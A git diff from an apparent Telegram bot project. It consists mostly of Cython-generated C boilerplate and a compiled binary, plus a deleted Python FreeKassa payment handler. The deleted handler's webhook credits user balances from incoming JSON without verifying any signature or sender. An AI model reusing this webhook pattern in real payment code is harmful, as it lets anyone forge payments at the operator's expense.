NULL, + (char*) PyDoc_STR("Frame of the generator"), 0}, + {0, 0, 0, 0, 0} +}; +#if CYTHON_USE_TYPE_SPECS +static PyType_Slot __pyx_GeneratorType_slots[] = { + {Py_tp_dealloc, (void *)__Pyx_Coroutine_dealloc}, + {Py_tp_traverse, (void *)__Pyx_Coroutine_traverse}, + {Py_tp_iter, (void *)PyObject_SelfIter}, + {Py_tp_iternext, (void *)__Pyx_Generator_Next}, + {Py_tp_methods, (void *)__pyx_Generator_methods}, + {Py_tp_members, (void *)__pyx_Generator_memberlist}, + {Py_tp_getset, (void *)__pyx_Generator_getsets}, + {Py_tp_getattro, (void *) __Pyx_PyObject_GenericGetAttrNoDict}, +#if CYTHON_USE_TP_FINALIZE + {Py_tp_finalize, (void *)__Pyx_Coroutine_del}, +#endif + {0, 0}, +}; +static PyType_Spec __pyx_GeneratorType_spec = { + __PYX_TYPE_MODULE_PREFIX "generator", + sizeof(__pyx_CoroutineObject), + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_HAVE_FINALIZE, + __pyx_GeneratorType_slots +}; +#else +static PyTypeObject __pyx_GeneratorType_type = { + PyVarObject_HEAD_INIT(0, 0) + __PYX_TYPE_MODULE_PREFIX "generator", + sizeof(__pyx_CoroutineObject), + 0, + (destructor) __Pyx_Coroutine_dealloc, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + Py_TPFLAGS_DEFAULT | Py_TPFLAGS_HAVE_GC | Py_TPFLAGS_HAVE_FINALIZE, + 0, + (traverseproc) __Pyx_Coroutine_traverse, + 0, + 0, + offsetof(__pyx_CoroutineObject, gi_weakreflist), + 0, + (iternextfunc) __Pyx_Generator_Next, + __pyx_Generator_methods, + __pyx_Generator_memberlist, + __pyx_Generator_getsets, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, + 0, +#if CYTHON_USE_TP_FINALIZE + 0, +#else + __Pyx_Coroutine_del, +#endif + 0, +#if CYTHON_USE_TP_FINALIZE + __Pyx_Coroutine_del, +#elif PY_VERSION_HEX >= 0x030400a1 + 0, +#endif +#if PY_VERSION_HEX >= 0x030800b1 && (!CYTHON_COMPILING_IN_PYPY || PYPY_VERSION_NUM >= 0x07030800) + 0, +#endif +#if __PYX_NEED_TP_PRINT_SLOT + 0, +#endif +#if PY_VERSION_HEX >= 0x030C0000 + 0, +#endif +#if PY_VERSION_HEX >= 0x030d00A4 + 0, +#endif +#if CYTHON_COMPILING_IN_PYPY && PY_VERSION_HEX >= 0x03090000 && PY_VERSION_HEX < 0x030a0000 + 0, +#endif +}; +#endif +static int __pyx_Generator_init(PyObject *module) { +#if CYTHON_USE_TYPE_SPECS + __pyx_GeneratorType = __Pyx_FetchCommonTypeFromSpec(module, &__pyx_GeneratorType_spec, NULL); +#else + CYTHON_UNUSED_VAR(module); + __pyx_GeneratorType_type.tp_getattro = __Pyx_PyObject_GenericGetAttrNoDict; + __pyx_GeneratorType_type.tp_iter = PyObject_SelfIter; + __pyx_GeneratorType = __Pyx_FetchCommonType(&__pyx_GeneratorType_type); +#endif + if (unlikely(!__pyx_GeneratorType)) { + return -1; + } + return 0; +} + +/* CheckBinaryVersion */ + static unsigned long __Pyx_get_runtime_version(void) { +#if __PYX_LIMITED_VERSION_HEX >= 0x030B00A4 + return Py_Version & ~0xFFUL; +#else + const char* rt_version = Py_GetVersion(); + unsigned long version = 0; + unsigned long factor = 0x01000000UL; + unsigned int digit = 0; + int i = 0; + while (factor) { + while ('0' <= rt_version[i] && rt_version[i] <= '9') { + digit = digit * 10 + (unsigned int) (rt_version[i] - '0'); + ++i; + } + version += factor * digit; + if (rt_version[i] != '.') + break; + digit = 0; + factor >>= 8; + ++i; + } + return version; +#endif +} +static int __Pyx_check_binary_version(unsigned long ct_version, unsigned long rt_version, int allow_newer) { + const unsigned long MAJOR_MINOR = 0xFFFF0000UL; + if ((rt_version & MAJOR_MINOR) == (ct_version & MAJOR_MINOR)) + return 0; + if (likely(allow_newer && (rt_version & MAJOR_MINOR) > (ct_version & MAJOR_MINOR))) + return 1; + { + char message[200]; + PyOS_snprintf(message, sizeof(message), + "compile time Python version %d.%d " + "of module '%.100s' " + "%s " + "runtime version %d.%d", + (int) (ct_version >> 24), (int) ((ct_version >> 16) & 0xFF), + __Pyx_MODULE_NAME, + (allow_newer) ? "was newer than" : "does not match", + (int) (rt_version >> 24), (int) ((rt_version >> 16) & 0xFF) + ); + return PyErr_WarnEx(NULL, message, 1); + } +} + +/* InitStrings */ + #if PY_MAJOR_VERSION >= 3 +static int __Pyx_InitString(__Pyx_StringTabEntry t, PyObject **str) { + if (t.is_unicode | t.is_str) { + if (t.intern) { + *str = PyUnicode_InternFromString(t.s); + } else if (t.encoding) { + *str = PyUnicode_Decode(t.s, t.n - 1, t.encoding, NULL); + } else { + *str = PyUnicode_FromStringAndSize(t.s, t.n - 1); + } + } else { + *str = PyBytes_FromStringAndSize(t.s, t.n - 1); + } + if (!*str) + return -1; + if (PyObject_Hash(*str) == -1) + return -1; + return 0; +} +#endif +static int __Pyx_InitStrings(__Pyx_StringTabEntry *t) { + while (t->p) { + #if PY_MAJOR_VERSION >= 3 + __Pyx_InitString(*t, t->p); + #else + if (t->is_unicode) { + *t->p = PyUnicode_DecodeUTF8(t->s, t->n - 1, NULL); + } else if (t->intern) { + *t->p = PyString_InternFromString(t->s); + } else { + *t->p = PyString_FromStringAndSize(t->s, t->n - 1); + } + if (!*t->p) + return -1; + if (PyObject_Hash(*t->p) == -1) + return -1; + #endif + ++t; + } + return 0; +} + +#include +static CYTHON_INLINE Py_ssize_t __Pyx_ssize_strlen(const char *s) { + size_t len = strlen(s); + if (unlikely(len > (size_t) PY_SSIZE_T_MAX)) { + PyErr_SetString(PyExc_OverflowError, "byte string is too long"); + return -1; + } + return (Py_ssize_t) len; +} +static CYTHON_INLINE PyObject* __Pyx_PyUnicode_FromString(const char* c_str) { + Py_ssize_t len = __Pyx_ssize_strlen(c_str); + if (unlikely(len < 0)) return NULL; + return __Pyx_PyUnicode_FromStringAndSize(c_str, len); +} +static CYTHON_INLINE PyObject* __Pyx_PyByteArray_FromString(const char* c_str) { + Py_ssize_t len = __Pyx_ssize_strlen(c_str); + if (unlikely(len < 0)) return NULL; + return PyByteArray_FromStringAndSize(c_str, len); +} +static CYTHON_INLINE const char* __Pyx_PyObject_AsString(PyObject* o) { + Py_ssize_t ignore; + return __Pyx_PyObject_AsStringAndSize(o, &ignore); +} +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT +#if !CYTHON_PEP393_ENABLED +static const char* __Pyx_PyUnicode_AsStringAndSize(PyObject* o, Py_ssize_t *length) { + char* defenc_c; + PyObject* defenc = _PyUnicode_AsDefaultEncodedString(o, NULL); + if (!defenc) return NULL; + defenc_c = PyBytes_AS_STRING(defenc); +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII + { + char* end = defenc_c + PyBytes_GET_SIZE(defenc); + char* c; + for (c = defenc_c; c < end; c++) { + if ((unsigned char) (*c) >= 128) { + PyUnicode_AsASCIIString(o); + return NULL; + } + } + } +#endif + *length = PyBytes_GET_SIZE(defenc); + return defenc_c; +} +#else +static CYTHON_INLINE const char* __Pyx_PyUnicode_AsStringAndSize(PyObject* o, Py_ssize_t *length) { + if (unlikely(__Pyx_PyUnicode_READY(o) == -1)) return NULL; +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII + if (likely(PyUnicode_IS_ASCII(o))) { + *length = PyUnicode_GET_LENGTH(o); + return PyUnicode_AsUTF8(o); + } else { + PyUnicode_AsASCIIString(o); + return NULL; + } +#else + return PyUnicode_AsUTF8AndSize(o, length); +#endif +} +#endif +#endif +static CYTHON_INLINE const char* __Pyx_PyObject_AsStringAndSize(PyObject* o, Py_ssize_t *length) { +#if __PYX_DEFAULT_STRING_ENCODING_IS_ASCII || __PYX_DEFAULT_STRING_ENCODING_IS_DEFAULT + if ( +#if PY_MAJOR_VERSION < 3 && __PYX_DEFAULT_STRING_ENCODING_IS_ASCII + __Pyx_sys_getdefaultencoding_not_ascii && +#endif + PyUnicode_Check(o)) { + return __Pyx_PyUnicode_AsStringAndSize(o, length); + } else +#endif +#if (!CYTHON_COMPILING_IN_PYPY && !CYTHON_COMPILING_IN_LIMITED_API) || (defined(PyByteArray_AS_STRING) && defined(PyByteArray_GET_SIZE)) + if (PyByteArray_Check(o)) { + *length = PyByteArray_GET_SIZE(o); + return PyByteArray_AS_STRING(o); + } else +#endif + { + char* result; + int r = PyBytes_AsStringAndSize(o, &result, length); + if (unlikely(r < 0)) { + return NULL; + } else { + return result; + } + } +} +static CYTHON_INLINE int __Pyx_PyObject_IsTrue(PyObject* x) { + int is_true = x == Py_True; + if (is_true | (x == Py_False) | (x == Py_None)) return is_true; + else return PyObject_IsTrue(x); +} +static CYTHON_INLINE int __Pyx_PyObject_IsTrueAndDecref(PyObject* x) { + int retval; + if (unlikely(!x)) return -1; + retval = __Pyx_PyObject_IsTrue(x); + Py_DECREF(x); + return retval; +} +static PyObject* __Pyx_PyNumber_IntOrLongWrongResultType(PyObject* result, const char* type_name) { + __Pyx_TypeName result_type_name = __Pyx_PyType_GetName(Py_TYPE(result)); +#if PY_MAJOR_VERSION >= 3 + if (PyLong_Check(result)) { + if (PyErr_WarnFormat(PyExc_DeprecationWarning, 1, + "__int__ returned non-int (type " __Pyx_FMT_TYPENAME "). " + "The ability to return an instance of a strict subclass of int is deprecated, " + "and may be removed in a future version of Python.", + result_type_name)) { + __Pyx_DECREF_TypeName(result_type_name); + Py_DECREF(result); + return NULL; + } + __Pyx_DECREF_TypeName(result_type_name); + return result; + } +#endif + PyErr_Format(PyExc_TypeError, + "__%.4s__ returned non-%.4s (type " __Pyx_FMT_TYPENAME ")", + type_name, type_name, result_type_name); + __Pyx_DECREF_TypeName(result_type_name); + Py_DECREF(result); + return NULL; +} +static CYTHON_INLINE PyObject* __Pyx_PyNumber_IntOrLong(PyObject* x) { +#if CYTHON_USE_TYPE_SLOTS + PyNumberMethods *m; +#endif + const char *name = NULL; + PyObject *res = NULL; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_Check(x) || PyLong_Check(x))) +#else + if (likely(PyLong_Check(x))) +#endif + return __Pyx_NewRef(x); +#if CYTHON_USE_TYPE_SLOTS + m = Py_TYPE(x)->tp_as_number; + #if PY_MAJOR_VERSION < 3 + if (m && m->nb_int) { + name = "int"; + res = m->nb_int(x); + } + else if (m && m->nb_long) { + name = "long"; + res = m->nb_long(x); + } + #else + if (likely(m && m->nb_int)) { + name = "int"; + res = m->nb_int(x); + } + #endif +#else + if (!PyBytes_CheckExact(x) && !PyUnicode_CheckExact(x)) { + res = PyNumber_Int(x); + } +#endif + if (likely(res)) { +#if PY_MAJOR_VERSION < 3 + if (unlikely(!PyInt_Check(res) && !PyLong_Check(res))) { +#else + if (unlikely(!PyLong_CheckExact(res))) { +#endif + return __Pyx_PyNumber_IntOrLongWrongResultType(res, name); + } + } + else if (!PyErr_Occurred()) { + PyErr_SetString(PyExc_TypeError, + "an integer is required"); + } + return res; +} +static CYTHON_INLINE Py_ssize_t __Pyx_PyIndex_AsSsize_t(PyObject* b) { + Py_ssize_t ival; + PyObject *x; +#if PY_MAJOR_VERSION < 3 + if (likely(PyInt_CheckExact(b))) { + if (sizeof(Py_ssize_t) >= sizeof(long)) + return PyInt_AS_LONG(b); + else + return PyInt_AsSsize_t(b); + } +#endif + if (likely(PyLong_CheckExact(b))) { + #if CYTHON_USE_PYLONG_INTERNALS + if (likely(__Pyx_PyLong_IsCompact(b))) { + return __Pyx_PyLong_CompactValue(b); + } else { + const digit* digits = __Pyx_PyLong_Digits(b); + const Py_ssize_t size = __Pyx_PyLong_SignedDigitCount(b); + switch (size) { + case 2: + if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) { + return (Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case -2: + if (8 * sizeof(Py_ssize_t) > 2 * PyLong_SHIFT) { + return -(Py_ssize_t) (((((size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case 3: + if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) { + return (Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case -3: + if (8 * sizeof(Py_ssize_t) > 3 * PyLong_SHIFT) { + return -(Py_ssize_t) (((((((size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case 4: + if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) { + return (Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + case -4: + if (8 * sizeof(Py_ssize_t) > 4 * PyLong_SHIFT) { + return -(Py_ssize_t) (((((((((size_t)digits[3]) << PyLong_SHIFT) | (size_t)digits[2]) << PyLong_SHIFT) | (size_t)digits[1]) << PyLong_SHIFT) | (size_t)digits[0])); + } + break; + } + } + #endif + return PyLong_AsSsize_t(b); + } + x = PyNumber_Index(b); + if (!x) return -1; + ival = PyInt_AsSsize_t(x); + Py_DECREF(x); + return ival; +} +static CYTHON_INLINE Py_hash_t __Pyx_PyIndex_AsHash_t(PyObject* o) { + if (sizeof(Py_hash_t) == sizeof(Py_ssize_t)) { + return (Py_hash_t) __Pyx_PyIndex_AsSsize_t(o); +#if PY_MAJOR_VERSION < 3 + } else if (likely(PyInt_CheckExact(o))) { + return PyInt_AS_LONG(o); +#endif + } else { + Py_ssize_t ival; + PyObject *x; + x = PyNumber_Index(o); + if (!x) return -1; + ival = PyInt_AsLong(x); + Py_DECREF(x); + return ival; + } +} +static CYTHON_INLINE PyObject * __Pyx_PyBool_FromLong(long b) { + return b ? __Pyx_NewRef(Py_True) : __Pyx_NewRef(Py_False); +} +static CYTHON_INLINE PyObject * __Pyx_PyInt_FromSize_t(size_t ival) { + return PyInt_FromSize_t(ival); +} + + +/* #### Code section: utility_code_pragmas_end ### */ +#ifdef _MSC_VER +#pragma warning( pop ) +#endif + + + +/* #### Code section: end ### */ +#endif /* Py_PYTHON_H */ diff --git a/handlers/payments/freekassa_pay.cpython-312-x86_64-linux-gnu.so b/handlers/payments/freekassa_pay.cpython-312-x86_64-linux-gnu.so new file mode 100755 index 00000000..991c5393 Binary files /dev/null and b/handlers/payments/freekassa_pay.cpython-312-x86_64-linux-gnu.so differ diff --git a/handlers/payments/freekassa_pay.py b/handlers/payments/freekassa_pay.py deleted file mode 100644 index 52b50116..00000000 --- a/handlers/payments/freekassa_pay.py +++ /dev/null @@ -1,201 +0,0 @@ -import hashlib -import hmac -import logging -import time -import uuid - -import requests -from aiogram import F, Router, types -from aiogram.fsm.context import FSMContext -from aiogram.fsm.state import State, StatesGroup -from aiogram.types import InlineKeyboardButton, InlineKeyboardMarkup -from aiogram.utils.keyboard import InlineKeyboardBuilder -from aiohttp import web -from config import FREEKASSA_API_KEY, FREEKASSA_SHOP_ID - -from database import add_payment, update_balance -from handlers.payments.utils import send_payment_success_notification -from handlers.texts import PAYMENT_OPTIONS - -router = Router() -logging.basicConfig(level=logging.DEBUG) - - -class ReplenishBalanceState(StatesGroup): - choosing_amount_freekassa = State() - waiting_for_payment_confirmation_freekassa = State() - entering_custom_amount_freekassa = State() - - -def generate_signature(params, api_key): - sorted_params = {k: params[k] for k in sorted(params)} - sign_string = "|".join(str(value) for value in sorted_params.values()) - return hmac.new(api_key.encode(), sign_string.encode(), hashlib.sha256).hexdigest() - - -async def create_payment(user_id, amount, email, ip): - payment_id = str(uuid.uuid4()) - nonce = int(time.time() * 1000) - params = { - "shopId": FREEKASSA_SHOP_ID, - "amount": amount, - "currency": "RUB", - "paymentId": payment_id, - "email": email, - "ip": ip, - "i": 6, - "nonce": nonce, - } - params["signature"] = generate_signature(params, FREEKASSA_API_KEY) - - try: - response = requests.post( - "https://api.freekassa.com/v1/orders/create", json=params - ) - response_data = response.json() - - logging.debug(f"Ответ от FreeKassa при создании платежа: {response_data}") - - if response_data.get("type") == "success": - return response_data["location"] - else: - logging.error(f"Ошибка создания платежа: {response_data}") - return None - - except Exception as e: - logging.error(f"Ошибка запроса к FreeKassa: {e}") - return None - - -async def freekassa_webhook(request): - data = await request.json() - logging.debug(f"Получен вебхук от FreeKassa: {data}") - - logging.debug(f"Данные вебхука от FreeKassa: {data}") - - if data["status"] == "completed": - user_id = data["metadata"]["user_id"] - amount = float(data["amount"]) - await add_payment(int(user_id), float(amount), "freekassa") - - await update_balance(user_id, amount) - await send_payment_success_notification(user_id, amount) - - return web.Response(status=200) - - -@router.callback_query(lambda c: c.data == "pay_freekassa") -async def process_callback_pay_freekassa( - callback_query: types.CallbackQuery, state: FSMContext -): - builder = InlineKeyboardBuilder() - for i in range(0, len(PAYMENT_OPTIONS), 2): - if i + 1 < len(PAYMENT_OPTIONS): - builder.row( - InlineKeyboardButton( - text=PAYMENT_OPTIONS[i]["text"], - callback_data=f'freekassa_{PAYMENT_OPTIONS[i]["callback_data"]}', - ), - InlineKeyboardButton( - text=PAYMENT_OPTIONS[i + 1]["text"], - callback_data=f'freekassa_{PAYMENT_OPTIONS[i + 1]["callback_data"]}', - ), - ) - else: - builder.row( - InlineKeyboardButton( - text=PAYMENT_OPTIONS[i]["text"], - callback_data=f'freekassa_{PAYMENT_OPTIONS[i]["callback_data"]}', - ) - ) - builder.row( - InlineKeyboardButton( - text="💰 Ввести свою сумму", - callback_data="enter_custom_amount_freekassa", - ) - ) - builder.row(InlineKeyboardButton(text="⬅️ Назад", callback_data="pay")) - - await callback_query.message.answer( - text="Выберите сумму пополнения через FreeKassa:", - reply_markup=builder.as_markup(), - ) - - await state.set_state(ReplenishBalanceState.choosing_amount_freekassa) - - -@router.callback_query(F.data.startswith("freekassa_amount|")) -async def process_amount_selection( - callback_query: types.CallbackQuery, state: FSMContext -): - data = callback_query.data.split("|", 1) - amount_str = data[1] - try: - amount = int(amount_str) - except ValueError: - await callback_query.message.answer("Некорректная сумма.") - return - - user_email = f"{callback_query.message.chat.id}@solo.net" - user_ip = callback_query.message.chat.id - payment_url = await create_payment( - callback_query.message.chat.id, amount, user_email, user_ip - ) - - if payment_url: - confirm_keyboard = InlineKeyboardMarkup( - inline_keyboard=[ - [ - InlineKeyboardButton( - text=f"Оплатить {amount} рублей", url=payment_url - ) - ], - [InlineKeyboardButton(text="⬅️ Назад", callback_data="pay")], - ] - ) - - await callback_query.message.answer( - f"Вы выбрали оплату на {amount} рублей. Перейдите по ссылке для завершения оплаты:", - reply_markup=confirm_keyboard, - ) - else: - await callback_query.message.answer( - "Ошибка при создании платежа. Попробуйте позже.", - ) - - -@router.callback_query(F.data == "enter_custom_amount_freekassa") -async def process_enter_custom_amount( - callback_query: types.CallbackQuery, state: FSMContext -): - await callback_query.message.answer(text="Введите сумму пополнения:") - await state.set_state(ReplenishBalanceState.entering_custom_amount_freekassa) - - -@router.message(ReplenishBalanceState.entering_custom_amount_freekassa) -async def process_custom_amount_input(message: types.Message, state: FSMContext): - if message.text.isdigit(): - amount = int(message.text) - if amount <= 0: - await message.answer( - "Сумма должна быть больше нуля. Пожалуйста, введите сумму еще раз:" - ) - return - - user_email = f"{message.chat.id}@solo.net" - user_ip = message.chat.id - payment_url = await create_payment(message.chat.id, amount, user_email, user_ip) - - if payment_url: - keyboard = InlineKeyboardMarkup( - inline_keyboard=[[InlineKeyboardButton("Оплатить", url=payment_url)]] - ) - await message.answer( - f"Вы выбрали оплату на {amount} рублей. Перейдите по ссылке для завершения оплаты:", - reply_markup=keyboard, - ) - else: - await message.answer("Ошибка при создании платежа. Попробуйте позже.") - - else: - await message.answer("Пожалуйста, введите корректную сумму.") diff --git a/handlers/payments/gift.c b/handlers/payments/gift.c new file mode 100644 index 00000000..a98a4d38 --- /dev/null +++ b/handlers/payments/gift.c @@ -0,0 +1,19616 @@ +/* Generated by Cython 3.0.11 */ + +/* BEGIN: Cython Metadata +{ + "distutils": { + "name": "handlers.payments.gift", + "sources": [ + "handlers/payments/gift.py" + ] + }, + "module_name": "handlers.payments.gift" +} +END: Cython Metadata */ + +#ifndef PY_SSIZE_T_CLEAN +#define PY_SSIZE_T_CLEAN +#endif /* PY_SSIZE_T_CLEAN */ +#if defined(CYTHON_LIMITED_API) && 0 + #ifndef Py_LIMITED_API + #if CYTHON_LIMITED_API+0 > 0x03030000 + #define Py_LIMITED_API CYTHON_LIMITED_API + #else + #define Py_LIMITED_API 0x03030000 + #endif + #endif +#endif + +#include "Python.h" +#ifndef Py_PYTHON_H + #error Python headers needed to compile C extensions, please install development version of Python. +#elif PY_VERSION_HEX < 0x02070000 || (0x03000000 <= PY_VERSION_HEX && PY_VERSION_HEX < 0x03030000) + #error Cython requires Python 2.7+ or Python 3.3+. +#else +#if defined(CYTHON_LIMITED_API) && CYTHON_LIMITED_API +#define __PYX_EXTRA_ABI_MODULE_NAME "limited" +#else +#define __PYX_EXTRA_ABI_MODULE_NAME "" +#endif +#define CYTHON_ABI "3_0_11" __PYX_EXTRA_ABI_MODULE_NAME +#define __PYX_ABI_MODULE_NAME "_cython_" CYTHON_ABI +#define __PYX_TYPE_MODULE_PREFIX __PYX_ABI_MODULE_NAME "." +#define CYTHON_HEX_VERSION 0x03000BF0 +#define CYTHON_FUTURE_DIVISION 1 +#include +#ifndef offsetof + #define offsetof(type, member) ( (size_t) & ((type*)0) -> member ) +#endif +#if !defined(_WIN32) && !defined(WIN32) && !defined(MS_WINDOWS) + #ifndef __stdcall + #define __stdcall + #endif + #ifndef __cdecl + #define __cdecl + #endif + #ifndef __fastcall + #define __fastcall + #endif +#endif +#ifndef DL_IMPORT + #define DL_IMPORT(t) t +#endif +#ifndef DL_EXPORT + #define DL_EXPORT(t) t +#endif +#define __PYX_COMMA , +#ifndef HAVE_LONG_LONG + #define HAVE_LONG_LONG +#endif +#ifndef PY_LONG_LONG + #define PY_LONG_LONG LONG_LONG +#endif +#ifndef Py_HUGE_VAL + #define Py_HUGE_VAL HUGE_VAL +#endif +#define __PYX_LIMITED_VERSION_HEX PY_VERSION_HEX +#if defined(GRAALVM_PYTHON) + /* For very preliminary testing purposes. Most variables are set the same as PyPy. + The existence of this section does not imply that anything works or is even tested */ + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 1 + #define CYTHON_COMPILING_IN_NOGIL 0 + #undef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 0 + #undef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #if PY_VERSION_HEX < 0x03050000 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #elif !defined(CYTHON_USE_ASYNC_SLOTS) + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #undef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 0 + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #undef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #undef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 1 + #undef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 0 + #undef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 0 + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #undef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 0 + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS (PY_MAJOR_VERSION >= 3) + #endif + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #undef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #undef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE 0 + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 0 + #endif + #undef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 +#elif defined(PYPY_VERSION) + #define CYTHON_COMPILING_IN_PYPY 1 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 0 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 0 + #undef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 0 + #ifndef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 0 + #endif + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #if PY_VERSION_HEX < 0x03050000 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #elif !defined(CYTHON_USE_ASYNC_SLOTS) + #define CYTHON_USE_ASYNC_SLOTS 1 + #endif + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #undef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 0 + #undef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #undef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #undef CYTHON_AVOID_BORROWED_REFS + #define CYTHON_AVOID_BORROWED_REFS 1 + #undef CYTHON_ASSUME_SAFE_MACROS + #define CYTHON_ASSUME_SAFE_MACROS 0 + #undef CYTHON_UNPACK_METHODS + #define CYTHON_UNPACK_METHODS 0 + #undef CYTHON_FAST_THREAD_STATE + #define CYTHON_FAST_THREAD_STATE 0 + #undef CYTHON_FAST_GIL + #define CYTHON_FAST_GIL 0 + #undef CYTHON_METH_FASTCALL + #define CYTHON_METH_FASTCALL 0 + #undef CYTHON_FAST_PYCALL + #define CYTHON_FAST_PYCALL 0 + #ifndef CYTHON_PEP487_INIT_SUBCLASS + #define CYTHON_PEP487_INIT_SUBCLASS (PY_MAJOR_VERSION >= 3) + #endif + #if PY_VERSION_HEX < 0x03090000 + #undef CYTHON_PEP489_MULTI_PHASE_INIT + #define CYTHON_PEP489_MULTI_PHASE_INIT 0 + #elif !defined(CYTHON_PEP489_MULTI_PHASE_INIT) + #define CYTHON_PEP489_MULTI_PHASE_INIT 1 + #endif + #undef CYTHON_USE_MODULE_STATE + #define CYTHON_USE_MODULE_STATE 0 + #undef CYTHON_USE_TP_FINALIZE + #define CYTHON_USE_TP_FINALIZE (PY_VERSION_HEX >= 0x030400a1 && PYPY_VERSION_NUM >= 0x07030C00) + #undef CYTHON_USE_DICT_VERSIONS + #define CYTHON_USE_DICT_VERSIONS 0 + #undef CYTHON_USE_EXC_INFO_STACK + #define CYTHON_USE_EXC_INFO_STACK 0 + #ifndef CYTHON_UPDATE_DESCRIPTOR_DOC + #define CYTHON_UPDATE_DESCRIPTOR_DOC 0 + #endif + #undef CYTHON_USE_FREELISTS + #define CYTHON_USE_FREELISTS 0 +#elif defined(CYTHON_LIMITED_API) + #ifdef Py_LIMITED_API + #undef __PYX_LIMITED_VERSION_HEX + #define __PYX_LIMITED_VERSION_HEX Py_LIMITED_API + #endif + #define CYTHON_COMPILING_IN_PYPY 0 + #define CYTHON_COMPILING_IN_CPYTHON 0 + #define CYTHON_COMPILING_IN_LIMITED_API 1 + #define CYTHON_COMPILING_IN_GRAAL 0 + #define CYTHON_COMPILING_IN_NOGIL 0 + #undef CYTHON_CLINE_IN_TRACEBACK + #define CYTHON_CLINE_IN_TRACEBACK 0 + #undef CYTHON_USE_TYPE_SLOTS + #define CYTHON_USE_TYPE_SLOTS 0 + #undef CYTHON_USE_TYPE_SPECS + #define CYTHON_USE_TYPE_SPECS 1 + #undef CYTHON_USE_PYTYPE_LOOKUP + #define CYTHON_USE_PYTYPE_LOOKUP 0 + #undef CYTHON_USE_ASYNC_SLOTS + #define CYTHON_USE_ASYNC_SLOTS 0 + #undef CYTHON_USE_PYLIST_INTERNALS + #define CYTHON_USE_PYLIST_INTERNALS 0 + #undef CYTHON_USE_UNICODE_INTERNALS + #define CYTHON_USE_UNICODE_INTERNALS 0 + #ifndef CYTHON_USE_UNICODE_WRITER + #define CYTHON_USE_UNICODE_WRITER 0 + #endif + #undef CYTHON_USE_PYLONG_INTERNALS + #define CYTHON_USE_PYLONG_INTERNALS 0 + #ifndef CYTHON_AVOID_BORROWED_REFS + #define 